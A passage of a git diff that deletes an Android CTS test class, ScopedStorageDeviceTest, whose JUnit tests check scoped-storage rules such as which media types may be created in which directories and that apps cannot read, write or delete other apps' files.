-            // Dump the image we have to external storage
-            FileUtils.copy(in, out);
-        }
-
-        return img;
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
deleted file mode 100644
index 8a0c53a..0000000
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ /dev/null
@@ -1,3598 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.scopedstorage.cts.device;
-
-import static android.app.AppOpsManager.permissionToOp;
-import static android.os.ParcelFileDescriptor.MODE_CREATE;
-import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromFile;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
-import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
-import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
-import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
-import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
-import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
-import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
-import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
-import static android.scopedstorage.cts.lib.TestUtils.canOpen;
-import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.canQueryOnUri;
-import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
-import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
-import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
-import static android.scopedstorage.cts.lib.TestUtils.fileExistsAs;
-import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
-import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
-import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
-import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
-import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
-import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
-import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
-import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
-import static android.scopedstorage.cts.lib.TestUtils.getExternalObbDir;
-import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
-import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
-import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
-import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
-import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
-import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
-import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
-import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
-import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
-import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getRecordingsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
-import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
-import static android.scopedstorage.cts.lib.TestUtils.isAppInstalled;
-import static android.scopedstorage.cts.lib.TestUtils.listAs;
-import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
-import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
-import static android.scopedstorage.cts.lib.TestUtils.queryAudioFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
-import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
-import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
-import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
-import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
-import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
-import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
-import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
-import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
-import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
-import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
-import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
-import static android.system.OsConstants.F_OK;
-import static android.system.OsConstants.O_APPEND;
-import static android.system.OsConstants.O_CREAT;
-import static android.system.OsConstants.O_EXCL;
-import static android.system.OsConstants.O_RDWR;
-import static android.system.OsConstants.O_TRUNC;
-import static android.system.OsConstants.R_OK;
-import static android.system.OsConstants.S_IRWXU;
-import static android.system.OsConstants.W_OK;
-
-import static androidx.test.InstrumentationRegistry.getContext;
-import static androidx.test.InstrumentationRegistry.getTargetContext;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.Manifest;
-import android.app.AppOpsManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.pm.ProviderInfo;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Environment;
-import android.os.FileUtils;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.os.storage.StorageManager;
-import android.provider.DocumentsContract;
-import android.provider.MediaStore;
-import android.scopedstorage.cts.lib.RedactionTestHelper;
-import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.StructStat;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.test.filters.SdkSuppress;
-
-import com.android.compatibility.common.util.FeatureUtil;
-import com.android.cts.install.lib.TestApp;
-import com.android.modules.utils.build.SdkLevel;
-
-import com.google.common.io.Files;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-
-/**
- * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
- * This is a temporary test class, and it will be deleted
- * after all the links to new modules are created.
- */
-@RunWith(Parameterized.class)
-public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
-    public static final String STR_DATA1 = "Just some random text";
-
-    public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
-
-    static final String TAG = "ScopedStorageDeviceTestCopy";
-    static final String THIS_PACKAGE_NAME = getContext().getPackageName();
-
-    /**
-     * To help avoid flaky tests, give ourselves a unique nonce to be used for
-     * all filesystem paths, so that we don't risk conflicting with previous
-     * test runs.
-     */
-    static final String NONCE = String.valueOf(System.nanoTime());
-
-    static final String TEST_DIRECTORY_NAME = "ScopedStorageDeviceTestDirectory" + NONCE;
-
-    static final String AUDIO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp3";
-    static final String PLAYLIST_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".m3u";
-    static final String SUBTITLE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".srt";
-    static final String VIDEO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp4";
-    static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
-    static final String NONMEDIA_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".pdf";
-
-    static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
-
-    // The following apps are installed before the tests are run via a target_preparer.
-    // See test config for details.
-    // An app with READ_EXTERNAL_STORAGE and READ_MEDIA_* permissions
-    private static final TestApp APP_A_HAS_RES =
-            new TestApp(
-                    "TestAppA",
-                    "android.scopedstorage.cts.testapp.A.withres",
-                    1,
-                    false,
-                    "CtsScopedStorageTestAppA.apk");
-    // An app with no permissions
-    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
-            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
-            "CtsScopedStorageTestAppB.apk");
-    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
-    private static final TestApp APP_FM = new TestApp("TestAppFileManager",
-            "android.scopedstorage.cts.testapp.filemanager", 1, false,
-            "CtsScopedStorageTestAppFileManager.apk");
-    // A legacy targeting app with RES and WES permissions
-    private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
-            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
-
-    // The following apps are not installed at test startup - please install before using.
-    private static final TestApp APP_C = new TestApp("TestAppC",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
-    private static final TestApp APP_C_LEGACY = new TestApp("TestAppCLegacy",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
-
-    private static final String[] SYSTEM_GALERY_APPOPS = {
-            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
-    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
-            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
-
-    private static final String TRANSFORMS_DIR = ".transforms";
-    private static final String TRANSFORMS_TRANSCODE_DIR = TRANSFORMS_DIR + "/" + "transcode";
-    private static final String TRANSFORMS_SYNTHETIC_DIR = TRANSFORMS_DIR + "/" + "synthetic";
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    /** Parameters data. */
-    @Parameters(name = "volume={0}")
-    public static Iterable<? extends Object> data() {
-        return ScopedStorageDeviceTest.getTestParameters();
-    }
-
-    @BeforeClass
-    public static void setupApps() throws Exception {
-        // File manager needs to be explicitly granted MES app op.
-        final int fmUid =
-                getContext().getPackageManager().getPackageUid(APP_FM.getPackageName(),
-                        0);
-        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-
-        // Others are installed by target preparer with runtime permissions.
-        // Verify.
-        assertThat(checkPermission(APP_A_HAS_RES,
-                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
-        assertThat(checkPermission(APP_B_NO_PERMS,
-                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
-        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
-                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
-        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
-                Manifest.permission.WRITE_EXTERNAL_STORAGE)).isTrue();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
-    }
-
-    @Before
-    public void setupExternalStorage() throws Exception {
-        super.setupExternalStorage(mVolumeName);
-        Log.i(TAG, "Using volume : " + mVolumeName);
-    }
-
-    /**
-     * Test that we enforce certain media types can only be created in certain directories.
-     */
-    @Test
-    public void testTypePathConformity() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File documentsDir = getDocumentsDir();
-        final File downloadDir = getDownloadDir();
-        final File moviesDir = getMoviesDir();
-        final File musicDir = getMusicDir();
-        final File picturesDir = getPicturesDir();
-        // Only audio files can be created in Music
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(musicDir, NONMEDIA_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(musicDir, VIDEO_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(musicDir, IMAGE_FILE_NAME).createNewFile();
-                });
-        // Only video files can be created in Movies
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(moviesDir, AUDIO_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(moviesDir, IMAGE_FILE_NAME).createNewFile();
-                });
-        // Only image and video files can be created in DCIM
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(dcimDir, AUDIO_FILE_NAME).createNewFile();
-                });
-        // Only image and video files can be created in Pictures
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(picturesDir, AUDIO_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile();
-                });
-
-        assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, PLAYLIST_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, SUBTITLE_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, PLAYLIST_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, SUBTITLE_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
-        assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
-        assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
-
-        // No file whatsoever can be created in the top level directory
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile();
-                });
-    }
-
-    /**
-     * Test that we enforce certain media types can only be created in certain directories.
-     */
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testTypePathConformity_recordingsDir() throws Exception {
-        final File recordingsDir = getRecordingsDir();
-
-        // Only audio files can be created in Recordings
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(recordingsDir, NONMEDIA_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(recordingsDir, VIDEO_FILE_NAME).createNewFile();
-                });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> {
-                    new File(recordingsDir, IMAGE_FILE_NAME).createNewFile();
-                });
-
-        assertCanCreateFile(new File(recordingsDir, AUDIO_FILE_NAME));
-    }
-
-    /**
-     * Test that we can create a file in app's external files directory,
-     * and that we can write and read to/from the file.
-     */
-    @Test
-    public void testCreateFileInAppExternalDir() throws Exception {
-        final File file = new File(getExternalFilesDir(), "text.txt");
-        try {
-            assertThat(file.createNewFile()).isTrue();
-            assertThat(file.delete()).isTrue();
-            // Ensure the file is properly deleted and can be created again
-            assertThat(file.createNewFile()).isTrue();
-
-            // Write to file
-            try (FileOutputStream fos = new FileOutputStream(file)) {
-                fos.write(BYTES_DATA1);
-            }
-
-            // Read the same data from file
-            assertFileContent(file, BYTES_DATA1);
-        } finally {
-            file.delete();
-        }
-    }
-
-    /**
-     * Test that we can't create a file in another app's external files directory,
-     * and that we'll get the same error regardless of whether the app exists or not.
-     */
-    @Test
-    public void testCreateFileInOtherAppExternalDir() throws Exception {
-        // Creating a file in a non existent package dir should return ENOENT, as expected
-        final File nonexistentPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
-        assertThrows(
-                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
-                    file1.createNewFile();
-                });
-
-        // Creating a file in an existent package dir should give the same error string to avoid
-        // leaking installed app names, and we know the following directory exists because shell
-        // mkdirs it in test setup
-        final File shellPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-        final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
-        assertThrows(
-                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
-                    file1.createNewFile();
-                });
-    }
-
-    /**
-     * Test that apps can't read/write files in another app's external files directory,
-     * and can do so in their own app's external file directory.
-     */
-    @Test
-    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
-        final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create a file in app's external files directory
-            if (!videoFile.exists()) {
-                assertThat(videoFile.createNewFile()).isTrue();
-            }
-
-            // App A should not be able to read/write to other app's external files directory.
-            assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, false /* forWrite */)).isFalse();
-            assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, true /* forWrite */)).isFalse();
-            // App A should not be able to delete files in other app's external files
-            // directory.
-            assertThat(deleteFileAs(APP_A_HAS_RES, videoFile.getPath())).isFalse();
-
-            // Apps should have read/write access in their own app's external files directory.
-            assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
-            assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
-            // Apps should be able to delete files in their own app's external files directory.
-            assertThat(videoFile.delete()).isTrue();
-        } finally {
-            videoFile.delete();
-        }
-    }
-
-    /**
-     * Test that we can contribute media without any permissions.
-     */
-    @Test
-    public void testContributeMediaFile() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-
-            // Ensure that the file was successfully added to the MediaProvider database
-            assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
-
-            // Try to write random data to the file
-            try (FileOutputStream fos = new FileOutputStream(imageFile)) {
-                fos.write(BYTES_DATA1);
-                fos.write(BYTES_DATA2);
-            }
-
-            final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
-            assertFileContent(imageFile, expected);
-
-            // Closing the file after writing will not trigger a MediaScan. Call scanFile to update
-            // file's entry in MediaProvider's database.
-            assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
-
-            // Ensure that the scan was completed and the file's size was updated.
-            assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
-                    BYTES_DATA1.length + BYTES_DATA2.length);
-        } finally {
-            imageFile.delete();
-        }
-        // Ensure that delete makes a call to MediaProvider to remove the file from its database.
-        assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
-    }
-
-    @Test
-    public void testCreateAndDeleteEmptyDir() throws Exception {
-        final File externalFilesDir = getExternalFilesDir();
-        // Remove directory in order to create it again
-        deleteRecursively(externalFilesDir);
-
-        // Can create own external files dir
-        assertThat(externalFilesDir.mkdir()).isTrue();
-
-        final File dir1 = new File(externalFilesDir, "random_dir");
-        // Can create dirs inside it
-        assertThat(dir1.mkdir()).isTrue();
-
-        final File dir2 = new File(dir1, "random_dir_inside_random_dir");
-        // And create a dir inside the new dir
-        assertThat(dir2.mkdir()).isTrue();
-
-        // And can delete them all
-        assertThat(deleteRecursively(dir2)).isTrue();
-        assertThat(deleteRecursively(dir1)).isTrue();
-        assertThat(deleteRecursively(externalFilesDir)).isTrue();
-
-        // Can't create external dir for other apps
-        final File nonexistentPackageFileDir = new File(
-                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        final File shellPackageFileDir = new File(
-                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-
-        assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
-        assertThat(shellPackageFileDir.mkdir()).isFalse();
-    }
-
-    @Test
-    public void testCantAccessOtherAppsContents() throws Exception {
-        final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
-            assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
-
-            // We can still see that the files exist
-            assertThat(mediaFile.exists()).isTrue();
-            assertThat(nonMediaFile.exists()).isTrue();
-
-            // But we can't access their content
-            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
-            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
-            deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
-        }
-    }
-
-    @Test
-    public void testCantDeleteOtherAppsContents() throws Exception {
-        final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
-        final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
-        final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
-        try {
-            assertThat(dirInDownload.mkdir()).isTrue();
-            // Have another app create a media file in the directory
-            assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
-
-            // Can't delete the directory since it contains another app's content
-            assertThat(dirInDownload.delete()).isFalse();
-            // Can't delete another app's content
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Have another app create a non-media file in the directory
-            assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
-
-            // Can't delete the directory since it contains another app's content
-            assertThat(dirInDownload.delete()).isFalse();
-            // Can't delete another app's content
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Delete only the media file and keep the non-media file
-            assertThat(deleteFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
-            // Directory now has only the non-media file contributed by another app, so we still
-            // can't delete it nor its content
-            assertThat(dirInDownload.delete()).isFalse();
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Delete the last file belonging to another app
-            assertThat(deleteFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
-            // Create our own file
-            assertThat(nonMediaFile.createNewFile()).isTrue();
-
-            // Now that the directory only has content that was contributed by us, we can delete it
-            assertThat(deleteRecursively(dirInDownload)).isTrue();
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
-            deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
-            // At this point, we're not sure who created this file, so we'll have both apps
-            // deleting it
-            mediaFile.delete();
-            deleteRecursively(dirInDownload);
-        }
-    }
-
-    /**
-     * Test that deleting uri corresponding to a file which was already deleted via filePath
-     * doesn't result in a security exception.
-     */
-    @Test
-    public void testDeleteAlreadyUnlinkedFile() throws Exception {
-        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            assertTrue(nonMediaFile.createNewFile());
-            final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
-            assertNotNull(uri);
-
-            // Delete the file via filePath
-            assertTrue(nonMediaFile.delete());
-
-            // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
-            // security exception.
-            assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
-        } finally {
-            nonMediaFile.delete();
-        }
-    }
-
-    /**
-     * This test relies on the fact that {@link File#list} uses opendir internally, and that it
-     * returns {@code null} if opendir fails.
-     */
-    @Test
-    public void testOpendirRestrictions() throws Exception {
-        // Opening a non existent package directory should fail, as expected
-        final File nonexistentPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        assertThat(nonexistentPackageFileDir.list()).isNull();
-
-        // Opening another package's external directory should fail as well, even if it exists
-        final File shellPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-        assertThat(shellPackageFileDir.list()).isNull();
-
-        // We can open our own external files directory
-        final String[] filesList = getExternalFilesDir().list();
-        assertThat(filesList).isNotNull();
-
-        // We can open any public directory in external storage
-        assertThat(getDcimDir().list()).isNotNull();
-        assertThat(getDownloadDir().list()).isNotNull();
-        assertThat(getMoviesDir().list()).isNotNull();
-        assertThat(getMusicDir().list()).isNotNull();
-
-        // We can open the root directory of external storage
-        final String[] topLevelDirs = getExternalStorageDir().list();
-        assertThat(topLevelDirs).isNotNull();
-        // TODO(b/145287327): This check fails on a device with no visible files.
-        // This can be fixed if we display default directories.
-        // assertThat(topLevelDirs).isNotEmpty();
-    }
-
-    @Test
-    public void testLowLevelFileIO() throws Exception {
-        String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
-        try {
-            int createFlags = O_CREAT | O_RDWR;
-            int createExclFlags = createFlags | O_EXCL;
-
-            FileDescriptor fd = Os.open(filePath, createExclFlags, S_IRWXU);
-            Os.close(fd);
-            assertThrows(
-                    ErrnoException.class, () -> {
-                        Os.open(filePath, createExclFlags, S_IRWXU);
